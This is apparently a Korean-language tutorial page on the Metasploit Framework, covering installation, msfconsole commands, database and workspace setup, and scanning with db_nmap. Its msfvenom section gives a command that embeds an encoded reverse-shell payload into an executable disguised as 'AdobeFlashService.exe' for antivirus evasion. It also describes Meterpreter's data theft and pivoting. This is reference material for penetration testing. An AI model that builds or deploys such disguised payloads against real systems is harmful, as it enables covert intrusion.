Metasploit Framework

Introduction

Metasploit은 대표적인 Penetration testing framework로 Recon, Scan, Exploit 등 Pentest의 기술적인 부분을 많이 커버할 수 있는 도구입니다. H.D Moore가 초기 개발하였으며, 현재는 Rapid7에서 관리되고 있습니다.

Perl -> Ruby

Network 기반 테스팅에 굉장히 능한 도구이며 공개된 취약점과 Exploit code를 활용할 수 있어서 Pentesting 이외에도 기업의 보안성을 테스트하거나, 버그바운티 등에서도 활용되기도 합니다.

Installation

macOS, Linux에선 one-line script로 설치가 가능합니다. Windows는 별도의 Installer로 설치가 필요하기 때문에 설치 관련 문서를 참고하시기 바랍니다.

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

Structure of Tools

Metasploit framework는 msfconsole이란 대표적인 명령 이외에도 여러가지 도구들을 내장하고 있습니다.

  Type Description
msfconsole CLI Metasploit의 Console입니다. 대부분의 작업은 여기서 이루어집니다.
msfd Daemon Metasploit daemon입니다.
msfdb CLI Metasploit에서 사용하는 DB를 자동 세팅하는 명령입니다.
msfrpc CLI RPC Client입니다.
msfrpcd Daemon RPCd를 실행하는 명령입니다. 이를 이용하면 Ruby에서 RPC를 통해 Metasploit를 사용할 수 있습니다.
msfupdate CLI Metasploit framework의 업데이트를 위한 명령입니다.
msfvenom CLI Payload 생성을 위한 도구입니다. 이를 통해 한줄짜리 명령으로 원하는 쉘 코드를 실행하는 바이너리 등을 만들 수 있습니다.

MSFConsole

Usage

<Command> [ARG1 ARG2 ARG3 ...]

Core

?             Help menu
banner        Display an awesome metasploit banner
cd            Change the current working directory
color         Toggle color
connect       Communicate with a host
debug         Display information useful for debugging
exit          Exit the console
features      Display the list of not yet released features that can be opted in to
get           Gets the value of a context-specific variable
getg          Gets the value of a global variable
grep          Grep the output of another command
help          Help menu
history       Show command history
load          Load a framework plugin
quit          Exit the console
repeat        Repeat a list of commands
route         Route traffic through a session
save          Saves the active datastores
sessions      Dump session listings and display information about sessions
set           Sets a context-specific variable to a value
setg          Sets a global variable to a value
sleep         Do nothing for the specified number of seconds
spool         Write console output into a file as well the screen
threads       View and manipulate background threads
tips          Show a list of useful productivity tips
unload        Unload a framework plugin
unset         Unsets one or more context-specific variables
unsetg        Unsets one or more global variables
version       Show the framework and console library version numbers

Use Modules

advanced      Displays advanced options for one or more modules
back          Move back from the current context
clearm        Clear the module stack
favorite      Add module(s) to the list of favorite modules
info          Displays information about one or more modules
listm         List the module stack
loadpath      Searches for and loads modules from a path
options       Displays global options or for one or more modules
popm          Pops the latest module off the stack and makes it active
previous      Sets the previously loaded module as the current module
pushm         Pushes the active or list of modules onto the module stack
reload_all    Reloads all modules from all defined module paths
search        Searches module names and descriptions
show          Displays modules of a given type, or all modules
use           Interact with a module by name or search term/index

With Database

db_connect        Connect to an existing data service
db_disconnect     Disconnect from the current data service
db_export         Export a file containing the contents of the database
db_import         Import a scan result file (filetype will be auto-detected)
db_nmap           Executes nmap and records the output automatically
db_rebuild_cache  Rebuilds the database-stored module cache (deprecated)
db_remove         Remove the saved data service entry
db_save           Save the current data service connection as the default to reconnect on startup
db_status         Show the current data service status

Metasploit은 기본으론 Postgres을 사용합니다. 물론 config 설정에 따라 MySQL 등 다른 Database 사용도 가능합니다.

Set-up Postgres

먼저 Postgres 계정 생성을 위해 postgres 계정으로 전환합니다. 이후 createuser로 metasploit을 위한 계정을 생성합니다.

su - postgres
createuser msfuser -P

그다음 database를 생성하고 만든 계정에 권한을 줍니다.

createdb --owner=msfuser hahwul_database

MSF Connect to DB

msf6 > db_connect msfuser:yourpassword@127.0.0.1:5432/hahwul_database
[*] Rebuilding the module cache in the background...
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

DB 연결 이후부턴 db_* 명령과 workspace 관련 명령을 사용할 수 있습니다.

Automated connect

msf home 디렉토리 내 ./config/database.yml 파일에서 미리 Database에 대한 설정을 지정하고, MSF 사용시 자동으로 로드되도록 할 수 있습니다.

config 하단에 파일을 로드하면 DB 연결정보가 나오고 아래와 같이 작성해주시면 됩니다.
 development: &pgsql
  adapter: postgresql   
  database: DB 이름
   username: DB 유저 이름(postgres 에서 만든 계정)
   password: 위 계정의 패스워드
   host: localhost
   port: 5432      # 변경하셨다면 변경하신 포트로 작성해주세요.
   pool: 5
   timeout: 5

Workspace

Basic

Show list

msf6 > workspace
* default

Add

msf6 > workspace -a target
[*] Added workspace: target
[*] Workspace: target
msf6 > workspace
  default
* target

Hosts

현재 workspace에 추가된 hosts를 확인합니다. host 정보는 hosts 명령이나 아래 db_* command를 통해 추가할 수 있습니다.

msf6 > hosts

Hosts
=====

address    mac  name       os_name  os_flavor  os_sp  purpose  info  comments
-------    ---  ----       -------  ---------  -----  -------  ----  --------
127.0.0.1       localhost  Unknown                    device
msf6 > hosts -a 192.168.0.24
[*] Time: 2022-06-19 14:10:32 UTC Host: host=192.168.0.24

Services

workspace에 누적된 services 리스트를 확인할 수 있습니다. services 명령을 통해 추가하거나 db_nmap 등 포트, 서비스 정보를 추가하는 명령을 통해 추가할 수 있습니다.

msf6 > services
Services
========

host       port  proto  name             state  info
----       ----  -----  ----             -----  ----
127.0.0.1  22    tcp    ssh              open
127.0.0.1  5000  tcp    upnp             open
127.0.0.1  7000  tcp    afs3-fileserver  open
127.0.0.1  8080  tcp    http-proxy       open

db_* Commands

db_ 로 시작하는 명령은 결과를 Database에 처리하는 명령어입니다. 대표적으로 db_nmap이 있으며 아래와 같이 nmap이 아닌 db_nmap으로 대상을 스캔하는 경우 결과가 Database에 쌓여 workspace에서 확인할 수 있습니다.

msf6 > db_nmap -PN 192.168.0.4
...snip..

msf6 > services
Services
========

host         port  proto  name             state  info
----         ----  -----  ----             -----  ----
192.168.0.4  22    tcp    ssh              open
192.168.0.4  5000  tcp    upnp             open
192.168.0.4  7000  tcp    afs3-fileserver  open

MSFVenom

MSFVenom은 Exploit 코드 생성을 위한 CLI 도구로 Metasploit에서 사용하는 Metepreter 또는 기본 Shell 등을 내장한 코드르 생성할 수 있습니다. 여러 타입의 언어와 포맷을 지원하며, MSFConsole과 쉽게 연동할 수 있어 활용성이 높습니다.

msfvenom -x app.exe \
-p windows/shell/reverse_tcp \
-e x86/shikata_ga_nai -k -f exe \
-i 25 LHOST=xxx.xxx.xxx.xxx LPORT=4444 > AdobeFlashService.exe

exe, py, sh 뿐만 아니라 apk 등 여러 OS에 대해 지원합니다.

Metepreter

Metepreter는 Metasploit에서 제공하는 Shell framework로 bash, sh 와 같은 시스템 쉘보다 해킹에 필요한 기능들을 많이 담고 있습니다. 기본적으로 백신 탐지를 우회하기 위해 fireless로 동작하며 내장된 기능들을 이용하여 대상의 정보를 탈취하거나 쉽게 Local exploit을 실행할 수 있고 Pivoting으로 Vertical/Horizon 단의 Host 들을 추가로 공격하여 점차 시스템을 장악할 수 있습니다.

Customize

Tools

  • https://github.com/rapid7/metasploit-framework
  • https://github.com/hahwul/mad-metasploit
  • https://github.com/hahwul/metasploit-autopwn
  • https://github.com/NullArray/AutoSploit

Articles

ZAP과 비슷하게 Metasploit도 제가 작성한 글이 많은편입니다. 아래 페이지를 참고해주세요.

https://www.hahwul.com/categories/metasploit/

References

  • https://github.com/rapid7/metasploit-framework
  • https://www.hahwul.com/categories/metasploit/
  • https://docs.rapid7.com/metasploit/